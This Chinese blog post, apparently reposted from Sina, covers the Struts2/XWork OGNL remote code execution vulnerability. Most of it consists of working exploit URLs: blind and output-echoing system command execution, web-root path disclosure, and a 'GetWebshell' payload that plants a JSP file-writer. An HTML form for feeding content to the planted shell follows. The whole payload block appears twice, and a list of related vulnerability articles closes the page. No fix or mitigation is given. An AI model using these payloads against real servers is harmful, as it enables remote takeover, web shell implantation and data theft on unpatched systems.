Struts2/XWork远程执行任意代码漏洞
2013-02-28 11:04
1526 查看
前段时间遇到黑客,才知道这个问题,找了一些资料了解一下
通过修改一些值能够调用被保护的Java代码,并且执行任意的Java代码:
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
通过构造http请求能够调用该OGNL的表达式,这个漏洞的PoC于2010年7月12日发布。
十六进制 \u0023 或 八进制 \43 转义为#
不可回显EXP
http://Domain/[filename].action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("系统命令")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
可回显EXP
http://Domain/[filename].action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'系统命令\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
网站路径
http://Domain/[filename].action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43x\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43x\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43x.getWriter().println(\43req.getRealPath("\u005c"))')(d))&(i99)(('\43x.getWriter().close()')(d))
GetWebshell
http://Domain/[filename].action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))&(adsdf)((@java.lang.System@err.close()))&(asdf)((\u0023rt\u003d@java.lang.System@setErr(new
java.io.PrintStream(new java.io.File(@java.net.URLDecoder@decode(@ognl.Ognl@class.getResource('/').getFile())).getParentFile().getParent()+'/1.jsp')))(@java.lang.System@err.println("\u003c\u0025java.io.FileWriter w \u003d new java.io.FileWriter(application.getRealPath(\"2.jsp\"));w.write(request.getParameter(\"c\"));w.close();\u0025\u003e")))=1
由于新浪微博过滤问题,原来的 % 2 b (无空格)已经被转化成 + ,修改回来即可。
<form name=get method=post>
<input name=url size=100 type=text value=http://>
<input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=ok>
<br><textarea name=c rows=20 cols=100></textarea><br>
</form>
以上来自新浪
通过修改一些值能够调用被保护的Java代码,并且执行任意的Java代码:
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
通过构造http请求能够调用该OGNL的表达式,这个漏洞的PoC于2010年7月12日发布。
十六进制 \u0023 或 八进制 \43 转义为#
不可回显EXP
http://Domain/[filename].action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("系统命令")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
可回显EXP
http://Domain/[filename].action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43mycmd\75\'系统命令\'')(d))&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))&(j)(('\43myres\75new\40byte[51020]')(d))&(k)(('\43mydat.readFully(\43myres)')(d))&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(n)(('\43myout.getWriter().println(\43mystr)')(d))
网站路径
http://Domain/[filename].action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(g)(('\43req\75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('\43x\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('\43x\75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('\43x.getWriter().println(\43req.getRealPath("\u005c"))')(d))&(i99)(('\43x.getWriter().close()')(d))
GetWebshell
http://Domain/[filename].action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew java.lang.Boolean("false")))&(adsdf)((@java.lang.System@err.close()))&(asdf)((\u0023rt\u003d@java.lang.System@setErr(new
java.io.PrintStream(new java.io.File(@java.net.URLDecoder@decode(@ognl.Ognl@class.getResource('/').getFile())).getParentFile().getParent()+'/1.jsp')))(@java.lang.System@err.println("\u003c\u0025java.io.FileWriter w \u003d new java.io.FileWriter(application.getRealPath(\"2.jsp\"));w.write(request.getParameter(\"c\"));w.close();\u0025\u003e")))=1
由于新浪微博过滤问题,原来的 % 2 b (无空格)已经被转化成 + ,修改回来即可。
<form name=get method=post>
<input name=url size=100 type=text value=http://>
<input type=button onclick="javascript:get.action=document.get.url.value;get.submit()" value=ok>
<br><textarea name=c rows=20 cols=100></textarea><br>
</form>
以上来自新浪
相关文章推荐
- Struts S2-016 远程任意命令执行漏洞检测代码
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
- ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- Struts2/WebWork高危漏洞(远程执行任意代码)
- php cgi远程任意代码执行漏洞
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补[转自Neeao's Blog]
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- Struts2/XWork < 2.2.0远程执行任意代码漏洞分析及修补
- PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- Struts 2 S2-045 Jakarta插件远程代码执行漏洞加固方法
- Bash 远程任意代码执行安全漏洞(最严重漏洞)
- PHP168 V6.02 整站系统远程执行任意代码漏洞利用
- WordPress 'is_serialized()'远程任意代码执行漏洞(CVE-2013-4338)